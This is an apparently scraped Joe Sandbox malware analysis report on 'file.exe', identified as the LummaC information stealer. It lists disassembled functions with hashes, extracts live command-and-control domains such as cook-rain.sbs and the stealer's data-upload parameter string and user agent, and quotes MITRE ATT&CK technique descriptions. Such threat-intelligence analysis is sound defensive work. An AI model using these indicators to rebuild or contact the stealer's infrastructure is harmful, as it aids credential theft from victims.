Function 063641BE Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a0e97457afb373f56dbbde2fe6fafb88150de90bd78998889a82ef25c4a2f0e
Instruction ID: c54ce091f02bd1fd482fd0ae642007eb4f81d2bca30ec9ba77a429c394be4a19
Opcode Fuzzy Hash: 2a0e97457afb373f56dbbde2fe6fafb88150de90bd78998889a82ef25c4a2f0e
Instruction Fuzzy Hash: 5C316DB3F5212447F3584839CD583A25583CBD1321F2FC3788A296BBC9DCBE8D4A1284

Function 06364F3D Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efa65767598d4de5f8cd2e13c02b2727295ccf6fa845eff572b0d08aefd1ae35
Instruction ID: c97ed1228f974513bf816bcef192d8d0081d3275adbe8604e17a9cb04033ba3c
Opcode Fuzzy Hash: efa65767598d4de5f8cd2e13c02b2727295ccf6fa845eff572b0d08aefd1ae35
Instruction Fuzzy Hash: 453135B7F5153147F354887ADC58352A58397E0328F2F82798E5CABBCAD8BE4C4642C8

Function 0636B520 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c299b388f2882a426187a16b1508211f6f80ed663cec13591d7b4679979a026a
Instruction ID: fd081cdcb6ebcecb22bb1bbc66b95a98eb4089c0ab33236adb342a8be4ee69bc
Opcode Fuzzy Hash: c299b388f2882a426187a16b1508211f6f80ed663cec13591d7b4679979a026a
Instruction Fuzzy Hash: 943159B7F5122107F3544879DDA83A2688397D5324F2F83788FA967BCAE8BE0D4502C0

Function 06373877 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c735f8d747d87e8b454e8ff76a6153276af5f7be5b842af795c676730ea04d5
Instruction ID: 759abb7d7c89cad345efe8467fb954393093a0c2829abe33df080fd1184f2dc2
Opcode Fuzzy Hash: 6c735f8d747d87e8b454e8ff76a6153276af5f7be5b842af795c676730ea04d5
Instruction Fuzzy Hash: C8313BF7F5162107F3684869DD993B19582DBE1324F2F82394F6EA77C5E8BD4C450280

Function 0637A142 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7b7e33863f23c1369be39831073961a81b4fe42b80e2fb7def16bda31fb138b
Instruction ID: 266994e8bb118927196213c1b38c319237295036899599d0bf11b5f8765d7885
Opcode Fuzzy Hash: c7b7e33863f23c1369be39831073961a81b4fe42b80e2fb7def16bda31fb138b
Instruction Fuzzy Hash: D1314CB7FA152207F3584879CD693A6558397E4320F3F82788E5DA7BC9D8BD8D4612C0

Function 06387FB6 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a30d83e052d11e3f1bc6f9c0e655cc79e0e4ef2a81ad6a57d84915d8b899c7a
Instruction ID: 0e9019da4628921affdc7715cf7e1e6c3be271e365edaf6ddee89a194e667fcd
Opcode Fuzzy Hash: 9a30d83e052d11e3f1bc6f9c0e655cc79e0e4ef2a81ad6a57d84915d8b899c7a
Instruction Fuzzy Hash: A73139F7F626250BF3544478CD58362658397E5324F2F82788F5867BCAEC7D8D0A4284

Function 0636A931 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f82ced0b1400248a5b812fbe0fc2869b01a2571dbb60ce8acb8358fba35e5f05
Instruction ID: 862a9da371667ab28825cc2c1bb2946b03b7f66667e6f0760582956e01e2d564
Opcode Fuzzy Hash: f82ced0b1400248a5b812fbe0fc2869b01a2571dbb60ce8acb8358fba35e5f05
Instruction Fuzzy Hash: 153150F7FA06264BF35488B4CD983A2258397E0315F2F82348F4C6BBC5D4BE4D465284

Function 0637CEA6 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 812419f3bae7b00abdaf252cd6704a24990b53f0db7b60c164b7c23683240980
Instruction ID: 8387e7db2d09b1b617cbccdb34c397bbe7cf19543263148f78fd1aaa7e2102cd
Opcode Fuzzy Hash: 812419f3bae7b00abdaf252cd6704a24990b53f0db7b60c164b7c23683240980
Instruction Fuzzy Hash: 7F2190B7F612254BF3544D24CC483A27243D7D5310F2F42788E889BBC5D8BE9D4A6384

Function 06377647 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f820393e5c1945ed9574ae5674a41c780b04802023135916bba43801a7bd445
Instruction ID: cbf8d5024dd9907367ab43ccb31ac5c3373ba4f411ddd56f3571480cf4aa5833
Opcode Fuzzy Hash: 9f820393e5c1945ed9574ae5674a41c780b04802023135916bba43801a7bd445
Instruction Fuzzy Hash: 1D2167B7F912250BF39408B9DE99392254397D1320F2B42798F5CABBCAD8BD5C4A5284

Function 05D9F970 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1643799425.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp, Offset: 05D9A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5d9d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9d2e35ff53e1cbfe6b479e96df18c90b63f04cc91cd3786fc25d50427fd0156
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: a9d2e35ff53e1cbfe6b479e96df18c90b63f04cc91cd3786fc25d50427fd0156
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Function 05D9F970 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1643799425.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp, Offset: 05D9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5d9d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9d2e35ff53e1cbfe6b479e96df18c90b63f04cc91cd3786fc25d50427fd0156
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: a9d2e35ff53e1cbfe6b479e96df18c90b63f04cc91cd3786fc25d50427fd0156
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Function 06350C33 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724105326.000000000634A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06340000, based on PE: true

Associated: 00000000.00000002.1724010949.0000000006340000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724073530.0000000006346000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065D2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1724105326.00000000065E4000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6340000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fae2a547f0a5166b670de43311a239b0a2c0b3bc7934d7be96a9a69c7b1a6cbc
Instruction ID: 2c7fbf4abed7182d30f45d0ae19192b2ec2bb45f972eb1de04e69db2aea24f27
Opcode Fuzzy Hash: fae2a547f0a5166b670de43311a239b0a2c0b3bc7934d7be96a9a69c7b1a6cbc
Instruction Fuzzy Hash: 63E026B2E1A1008BE3C49A25CC427A272469BD4360F19C8252A84CBB4CE23CC10246D6

Source: https://cook-rain.sbs/apiIq	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/K	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/v	Avira URL Cloud: Label: malware

Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1718567292.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Windows Analysis Report
file.exe